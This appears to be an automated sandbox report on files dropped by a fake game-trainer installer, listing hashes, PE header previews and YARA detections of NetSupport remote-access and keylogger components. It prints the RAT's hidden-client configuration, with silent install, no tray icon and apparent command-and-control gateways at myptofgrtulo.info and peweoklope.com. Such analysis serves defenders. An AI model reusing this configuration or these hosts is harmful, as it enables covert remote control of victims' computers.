Process:	C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	271664
Entropy (8bit):	6.551014936864254
Encrypted:	false
SSDEEP:	6144:xDvjgU3XLSViNNi7UfdBYb/7tuko2Xf/tnQY:NgU3XLSV6z2PV1
MD5:	359319DD193FCA3782CE4A446E2976DD
SHA1:	A2A6835A831906BBEFB6E28244CA25205FC70319
SHA-256:	CA98F7673DF0AED9D8E2EDE2403394C68B58C4176DAE232E40EBA2BDD329C8A1
SHA-512:	74D6AE42F44B5C241DD9D7F454F33959ED42A847728AA6D492699462D9FA5592CCF0396BF8300722D85F2647F001B7A9C03C910B9BE38E80F49C0F72337BDCA1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........@aU..2U..2U..2...2V..2..n2N..2..22...2..s2\..2U./2...2..32b..2...2T..2..k2T..2U..2T..2...2T..2RichU..2........PE..L...<..I...........!.....p.........................e......................... .......m......................................hs..d.......................0.......X...@...................................................4............................text...*e.......p.................. ..`.rdata..............................@..@.data....L.......@..................@....rsrc...............................@..@.reloc..N%.......0..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-PML8F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	753664
Entropy (8bit):	5.785456905272525
Encrypted:	false
SSDEEP:	12288:WZuUoUqrbs7TpCjxH4pxxo5CS06Nf637tBnN8JwqxhCbKjDp:WAUk0pCBgxxo8rWtjDp
MD5:	38A3875F7A2169645FEE066FD4E25572
SHA1:	5E72581C0C0ECE95BDA361CC08D50C6A7A18602E
SHA-256:	D3E374E75C33391E7D5A127E21A603F29241F6C3AC35B4F5766EA14AB49A8BDA
SHA-512:	4A54064BF78E8A506B5F8AE80F93BE584420D82515044C0D5DE8C294BC89653BDAB54142E3C1E53EC934CBF6A016A9DAEDA2008DD9DD90E306D31E8285D85B0D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....pP...........!.....P... .......k... ........... ..............................-.....@..................................k..O...................................4k............................................... ............... ..H............text....L... ...P.................. ..`.rsrc................`..............@..@.reloc...............p..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp
File Type:	InnoSetup Log VxCXHgOKWFitaVL Corporation, version 0x418, 37403 bytes, 494126\37\user\37, C:\Program Files (x86)\VxCXHgOKWFitaVL Cor
Category:	dropped
Size (bytes):	37403
Entropy (8bit):	3.278341815022819
Encrypted:	false
SSDEEP:	384:xo4v0y3GefV3o5S559zQZkut4UwtGB6JS1GkAjYJ62KuOA1RVe1dDoO9IUVc6fZR:xo4dRNYQDpZ2cec23bA
MD5:	59C415966A53AFAA3F11F577D07279A3
SHA1:	2C9E7812A91B05D95CA250483A16AE796002A4BA
SHA-256:	DF55014BF3B6CF8AF98ED461E3B11ADE39361B7E8C7AFD7D0E563DD32566EAB1
SHA-512:	81A6CE4072CAD2F5CDFA28A34A0D75BC8BB66DB8299AC2DF290DA54D30E2BCCF273AAADCE3FAE03BFC234EE7BE74783D0F5C2739193BFDEF1A420AEA27894FF7
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................VxCXHgOKWFitaVL Corporation.....................................................................................................VxCXHgOKWFitaVL Corporation.................................................................................................................................................................................................................................xtu.........X..................4.9.4.1.2.6......a.l.f.o.n.s......C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.V.x.C.X.H.g.O.K.W.F.i.t.a.V.L. .C.o.r.p.o.r.a.t.i.o.n................!...V.. ...........{..IFPS....A...4....................................................................................................ANYMETHOD.....................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TMAINFORM....TMAINFORM.........TUNINSTALLPROGRESSFORM....TUNINSTALLPROGRESSFORM......... ..................

C:\Program Files (x86)\river-city-rival-showdown-trainer-15-v1-8-.exe\is-74O1B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3223613
Entropy (8bit):	6.312183785282604
Encrypted:	false
SSDEEP:	49152:OWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbQ333TYc:CtLutqgwh4NYxtJpkxhGj333T1
MD5:	969FAC0021669F20BEBF6D088812BD10
SHA1:	C5FA90BA1C91098C8ED3FAA3749D2159F09D85FB
SHA-256:	4A2117890D87BD8660836930D4FA1D8F75F772E5D3F06CD215516F153E16B4B2
SHA-512:	86869B5EE053FC44485CD373510526D06AACB5E80065F977515C151E2266E2BDC82A66632407AAD9BA1F4AECC71045D2364B59D79FC034159902331E690D0227
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Program Files (x86)\river-city-rival-showdown-trainer-15-v1-8-.exe\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp
File Type:	InnoSetup Log river-city-rival-showdown-trainer-15-v1-8-.exe, version 0x418, 6507 bytes, 494126\37\user\37, C:\Program Files (x86)\river-city-rival-sh
Category:	dropped
Size (bytes):	6507
Entropy (8bit):	4.2056181051940875
Encrypted:	false
SSDEEP:	96:5PV/JR1ganROWUTMCdR3nZd3WMOdR3n5Ehk3w1nQsrCVbcuJlEDA4MZAe2LJiHhR:bz1gaZVCdRpvOdRifWbP4DSmJiHrD
MD5:	8C301620346E2785939A582B890914D5
SHA1:	2D1D487ED2BDAE103E125247F40C3353E20699B5
SHA-256:	A45CCCF66EC3EDFD3976C11A13D4B32C09518641EDB58AE6A1316771D630A657
SHA-512:	9415DEECC0DC834A088266EE04BE529E9B709C56A6767AEAA8880223737D2EB6B5C4AF471C12AA34DB60CA57BE1E46A77566EA683B923A44970DC0FF2F76AD5F
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................river-city-rival-showdown-trainer-15-v1-8-.exe..................................................................................river-city-rival-showdown-trainer-15-v1-8-.exe..........................................................................................k.............................................................................................................................K.g'...............4.9.4.1.2.6......a.l.f.o.n.s..v...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.r.i.v.e.r.-.c.i.t.y.-.r.i.v.a.l.-.s.h.o.w.d.o.w.n.-.t.r.a.i.n.e.r.-.1.5.-.v.1.-.8.-...e.x.e................!...... ....."........IFPS....'........................................................................................................ANYMETHOD.....................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TMAINFORM....TMAINFORM.........TUNINSTALLPROGRESSFORM....TUNINSTALLPR

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\078630d72d217d4d9885ece5b71fe988.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.80911343409989
Encrypted:	false
SSDEEP:	12288:HqArkLoM/5iec2yxvUh3ho2LDnOQQ1k3+h9APjbom/n6:ekuK2XOjksobom/n6
MD5:	2C88D947A5794CF995D2F465F1CB9D10
SHA1:	C0FF9EA43771D712FE1878DBB6B9D7A201759389
SHA-256:	2B92EA2A7D2BE8D64C84EA71614D0007C12D6075756313D61DDC40E4C4DD910E
SHA-512:	E55679FF66DED375A422A35D0F92B3AC825674894AE210DBEF3642E4FC232C73114077E84EAE45C6E99A60EF4811F4A900B680C3BF69214959FA152A3DFBE542
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\078630d72d217d4d9885ece5b71fe988.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 6%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L....8.W...........!................'................................................P....@.............................o...D...x....0..@...............x)...@..\E..................................Pd..@...............h............................text............................... ..`.rdata..............................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc...F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\2041dcc7124af9419b0b672e9d7171f7.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.292094060787929
Encrypted:	false
SSDEEP:	192:dogL7bo2t6n76RRHirmH/L7jtd3hfwjKd3hfwB7bjuZRvI:dogL7bo2YrmRTAKT0iTI
MD5:	104B30FEF04433A2D2FD1D5F99F179FE
SHA1:	ECB08E224A2F2772D1E53675BEDC4B2C50485A41
SHA-256:	956B9FA960F913CCE3137089C601F3C64CC24C54614B02BBA62ABB9610A985DD
SHA-512:	5EFCAA8C58813C3A0A6026CD7F3B34AD4FB043FD2D458DB2E914429BE2B819F1AC74E2D35E4439601CF0CB50FCDCAFDCF868DA328EAAEEC15B0A4A6B8B2C218F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\2041dcc7124af9419b0b672e9d7171f7.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Yu....i...i...i.......i..Z...i.......i......i......i..l....i...h.~.i......i......i......i.......i.Rich..i.................PE..L....A.W...........!......................... ...............................`.......U....@.........................@#..r...h!..P....@............... ..x)...P......P ............................... ..@............ ..D............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\2fd7b7fc98a34147a91a565049fb6e0c.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Reputation:	unknown
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\4120bfd883d24a4daf0a8db223a7081f.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32+ executable (DLL) (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	376072
Entropy (8bit):	6.495222984508597
Encrypted:	false
SSDEEP:	6144:uRcacQeYcNF3/zKBxjJlbOG4LaiC9/ximuL86Y:WcMe9F3/zKBXIG4L8uY
MD5:	2B75E4A56F5ECFEDDEF0328575F15F40
SHA1:	E5954A74FCA52D15979537A9670DB8A983B34A71
SHA-256:	F53237F6FB79810D85E14A5DA7EE683C42928CBD8B4BD1EBD4B8204ED2FE220C
SHA-512:	0987C75FFE1944DDC0EDEC449C51C4C6B243058204E320849847844AAD5E231AEFCC3A5258D086280BA785E6A17CD0D00573E3C2FF1FEFC964846EA476FADEDE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........>.=._.n._.n._.n._.n._.nr..n._.nr..n._.nr..n._.nr..n._.nr..n._.nr..n._.nr..n._.nRich._.n................PE..d......`.........." .....D...t......\................................................1....`.....................................................(.......H........ .......!......d... Q...............................................P...............................text...g>.......@.................. ..h.rdata..@....P.......D..............@..H.data....x... ...Z..................@....pdata... ......."...b..............@..HINIT................................ ....rsrc...H...........................@..B.reloc..d...........................@..B................................................................................................................................................................................................................................

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\51ccd7e4634de4468d3b8ec370ae3220.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3740024
Entropy (8bit):	6.527276298837004
Encrypted:	false
SSDEEP:	49152:0KJKmPEYIPqxYdoF4OSvxmX3+m7OTqupa7HclSpTAyFMJa:0KJ/zIPq7F4fmXO8u6kS+y/
MD5:	D3D39180E85700F72AAAE25E40C125FF
SHA1:	F3404EF6322F5C6E7862B507D05B8F4B7F1C7D15
SHA-256:	38684ADB2183BF320EB308A96CDBDE8D1D56740166C3E2596161F42A40FA32D5
SHA-512:	471AC150E93A182D135E5483D6B1492F08A49F5CCAB420732B87210F2188BE1577CEAAEE4CE162A7ACCEFF5C17CDD08DC51B1904228275F6BBDE18022EC79D2F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\51ccd7e4634de4468d3b8ec370ae3220.tmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\51ccd7e4634de4468d3b8ec370ae3220.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J.>N+.mN+.mN+.m.eAmL+.mU.Gmd+.m!]rmF+.mU.EmJ+.mGSZmA+.mGS]mO+.mGSJmi+.mN+.m.(.mU.rm.+.mU.sm.+.mU.BmO+.mU.CmO+.mU.DmO+.mRichN+.m........................PE..L......X...........!.....(...$ .............@................................9.....Y.9.............................p................p................8.x)...`7.p....Q.......................c......@c..@............@..(.......`....................text...l'.......(.................. ..`.rdata..s....@.......,..............@..@.data....%... ......................@....tls.........P......................@....hhshare.....`......................@....rsrc........p......................@..@.reloc...3...`7..4....6.............@..B................................................................................................................................................................................................

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\5d7fc0667d8a0e48a42ebd70bdd0c76a.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	120232
Entropy (8bit):	5.257399420433021
Encrypted:	false
SSDEEP:	768:thVZl6FhWr80/MqUr2pe/vP+KFKcMkS5r2pe/giTKFKcMkQA:t10hGUq0ee/v2IrIee/gqIrEA
MD5:	261D6E9D4571D1938CB54A2AE1B1821D
SHA1:	CA3ED46EDC92D901B33D8E7681883CAF861750A0
SHA-256:	168FCF4F6FD77A9498C79EF6CC95CC8CE4CB7D0CECF0D4A4D8A6AFF9397AB6E9
SHA-512:	B15E6E01A809449CC87F8949034A8DE08ED8EF18549001F55096FA47A398BEE18AE2BC11CC184B2F9A259CF97B230BBE50E4D010CF9F87917E8452245A835231
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\5d7fc0667d8a0e48a42ebd70bdd0c76a.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.g.W.g.W.g.^...U.g.8...T.g.W.f.R.g.8..V.g.8...V.g.8...V.g.RichW.g.........PE..L...6..d.....................r...... ........ ....@.......................................@.................................< ..<....0..Hm...........x...].......... ............................................... ...............................text............................... ..`.rdata..^.... ......................@..@.rsrc...Hm...0...n..................@..@.reloc..l............v..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\a61db6b07176fa4c8263d1b4b45ea38a.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	646
Entropy (8bit):	5.3690005693375875
Encrypted:	false
SSDEEP:	12:NBhzd+mPfGS53Jv+Zlnx8Y8o5kLXfDWQsWS/nmSuqRlIB57JV:NBhzEmPfT+Zlnx81cefDiW8hKxj
MD5:	36782AC6A1032FC4C7E1FF0C1232A604
SHA1:	5E376A12188D84C2197F0012DD9E6D2B66653B0E
SHA-256:	E58186641FF4472C3769BB2A6D933C7972047D9DBFAA7593CA8A2BA1FDC391CE
SHA-512:	B736FC974DE8CDBE90146B15BA5F5CC88775E92C42FB99C40353694BED5781E5E9AC056E22F995F979D6DA93ACE4C8D2CE5976D4011BE8769B15101F768E2373
Malicious:	false
Reputation:	unknown
Preview:	0x3d37c3a8....[Client].._present=1..DisableChat=1..DisableChatMenu=1..DisableClientConnect=1..DisableDisconnect=1..DisableLocalInventory=1..DisableMessage=1..DisableReplayMenu=1..DisableRequestHelp=1..HideWhenIdle=1..Protocols=2,3..SecurityKeyU=dgAAACpmqmo0Mx6cb1DyGq8RRCAA..SKMode=1..SysTray=0..UsernamesU=..ValidAddresses.TCP=....[_Info]..Filename=C:\ProgramData\regid.1993-06.com.microsoft\client32u.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[General]..Passwordu=....[HTTP]..GatewayAddress=myptofgrtulo.info:1203..GSKU=EN:I?NDB9L<PAGEM:C?FDH9P>ECOGF..Port=1203..SecondaryGateway=peweoklope.com:1203..SecondaryPort=1203..

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\cd2f845e419388478df81bc59730a20b.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	63864
Entropy (8bit):	6.446503462786185
Encrypted:	false
SSDEEP:	1536:Tf6fvDuNcAjJMBUHYBlXU1wT2JFqy9BQhiK:D6f7cjJ4U4I1jFqy92hiK
MD5:	6FCA49B85AA38EE016E39E14B9F9D6D9
SHA1:	B0D689C70E91D5600CCC2A4E533FF89BF4CA388B
SHA-256:	FEDD609A16C717DB9BEA3072BED41E79B564C4BC97F959208BFA52FB3C9FA814
SHA-512:	F9C90029FF3DEA84DF853DB63DACE97D1C835A8CF7B6A6227A5B6DB4ABE25E9912DFED6967A88A128D11AB584663E099BF80C50DD879242432312961C0CFE622
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 22%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$U..`4..`4..`4..{.D.q4..{.p.54..iLI.e4..`4..74..{.q.}4..{.@.a4..{.G.a4..Rich`4..................PE..L......U.....................J.......!............@.......................... .......o....@....................................<.......T...............x)..............................................@...............@............................text............................... ..`.rdata...%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\d08c469b7c50974eba47797b3240ec09.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	Generic INItialization configuration [Features]
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	4.645519507940197
Encrypted:	false
SSDEEP:	96:B6pfGAtXOdwpEKyhuSY92fihuUhENXh8o3IFhucOi49VLO9kNVnkOeafhuK7cwo4:BnwpwYFuy6/njroYbe3j1vlS
MD5:	88B1DAB8F4FD1AE879685995C90BD902
SHA1:	3D23FB4036DC17FA4BEE27E3E2A56FF49BEED59D
SHA-256:	60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
SHA-512:	4EA2C20991189FE1D6D5C700603C038406303CCA594577DDCBC16AB9A7915CB4D4AA9E53093747DB164F068A7BA0F568424BC8CB7682F1A3FB17E4C9EC01F047
Malicious:	false
Reputation:	unknown
Preview:	..[General]..ClientParams=..CLIENT32=..Installdir=..NOARP=..SuppressAudio=......[Features]..Client=1..Configurator=..Control=..Gateway=..PINServer=..RemoteDeploy=..Scripting=..Student=..TechConsole=..Tutor=......[StartMenuIcons]..ClientIcon=..ConfigIcon=..ControlIcon=..RemoteDeployIcon=..ScriptingIcon=..TechConsoleIcon=..TutorIcon=......[DesktopIcons]..ControlDeskIcon=..TechConsoleDeskIcon=..TutorDeskIcon=............; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.....; Client=<1/Blank>..; e.g...; Client=1..; Controls whether the client component is installed (1) on the target machine or not (Blank)..;....; CLIENT32=<blank/not blank>..; e.g...;. CLIENT32=..;. Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic..;....; ClientIcon=<1/Blank>..; e.g...; ClientIcon=1..; Controls whether shortcut icons are placed on t

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\d98380e50ba80f4fa3adba0346158290.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\df69fc05da29924e82a81d8c593d3358.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	632
Entropy (8bit):	5.401395695798581
Encrypted:	false
SSDEEP:	12:w0Bhzd+mPfGS5J3lnxTPfY8o5kLXfDWQknmSunEulIB57JV:w0BhzEmPfn3lnx71cefDmBKKxj
MD5:	EED67C90F4165DD3B0C6AE9E9CCFF83F
SHA1:	A998D90CE3AF21F9BBF9D8D443E02E08237A303C
SHA-256:	5966287DF58A42C3BA525C17235BEF51FB3895683F1E6DECDDA02B82AA2AE174
SHA-512:	3772CFD4E307D5482AC3F22ACD8973448F264FAFD6152B23442FCD9148B43B57C1F9E9621634463A3E9C51CA357FCB733015060A95BA5A30B8C316D62EFA4E7A
Malicious:	false
Reputation:	unknown
Preview:	0xd425def8....[Client].._present=1..DisableChat=1..DisableChatMenu=1..DisableClientConnect=1..DisableDisconnect=1..DisableLocalInventory=1..DisableMessage=1..DisableReplayMenu=1..DisableRequestHelp=1..HideWhenIdle=1..Protocols=2,3..SecurityKey2=dgAAAN(8f7S2XEBDdNtm(K(AS7MA..SKMode=1..SysTray=0..Usernames=..ValidAddresses.TCP=....[_Info]..Filename=C:\ProgramData\regid.1993-06.com.microsoft\client32u.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[General]....[HTTP]..GatewayAddress=myptofgrtulo.info:1203..GSK=EN:I?NDB9L<PAGEM:C?FDH9P>ECOGF..Port=1203..SecondaryGateway=peweoklope.com:1203..SecondaryPort=1203..

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\e6adbd27df47824481105a18183e1d5e.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.7547459359511395
Encrypted:	false
SSDEEP:	6144:Hib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OKB:Hib5YbsXioEgULFpSzya9/lY5SilQCfR
MD5:	C94005D2DCD2A54E40510344E0BB9435
SHA1:	55B4A1620C5D0113811242C20BD9870A1E31D542
SHA-256:	3C072532BF7674D0C5154D4D22A9D9C0173530C0D00F69911CDBC2552175D899
SHA-512:	2E6F673864A54B1DCAD9532EF9B18A9C45C0844F1F53E699FADE2F41E43FA5CBC9B8E45E6F37B95F84CF6935A96FBA2950EE3E0E9542809FD288FEFBA34DDD6A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\e6adbd27df47824481105a18183e1d5e.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......._....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\e81a27959b0cde47bbb3c65f36393e29.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	195
Entropy (8bit):	4.924914741174998
Encrypted:	false
SSDEEP:	6:O/oPITDKHMoEEjLgpVUK+Odfu2M0M+ZYpPM/iotqO2La8l6i7s:XAyJjjqVUKHdW2MdRPM/iotq08l6J
MD5:	E9609072DE9C29DC1963BE208948BA44
SHA1:	03BBE27D0D1BA651FF43363587D3D6D2E170060F
SHA-256:	DC6A52AD6D637EB407CC060E98DFEEDCCA1167E7F62688FB1C18580DD1D05747
SHA-512:	F0E26AA63B0C7F1B31074B9D6EEF88D0CFBC467F86B12205CB539A45B0352E77CE2F99F29BAEAB58960A197714E72289744143BA17975699D058FE75D978DFD0
Malicious:	false
Reputation:	unknown
Preview:	1200..0x3ca968c5....[[Enforce]]....[_License]..control_only=0..expiry=01/01/2028..inactive=0..licensee=XMLCTL..maxslaves=9999..os2=1..product=10..serial_no=NSM303008..shrink_wrap=0..transport=0..

C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\f88670462385d642bd8a486306392759.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.7376663312239256
Encrypted:	false
SSDEEP:	768:JFvNhAyi5hHA448qZkSn+EgT8ToDXTVi0:JCyoHA448qSSzgIQb
MD5:	34DFB87E4200D852D1FB45DC48F93CFC
SHA1:	35B4E73FB7C8D4C3FEFB90B7E7DC19F3E653C641
SHA-256:	2D6C6200508C0797E6542B195C999F3485C4EF76551AA3C65016587788BA1703
SHA-512:	F5BB4E700322CBAA5069244812A9B6CE6899CE15B4FD6384A3E8BE421E409E4526B2F67FE210394CD47C4685861FAF760EFF9AF77209100B82B2E0655581C9B2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\f88670462385d642bd8a486306392759.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
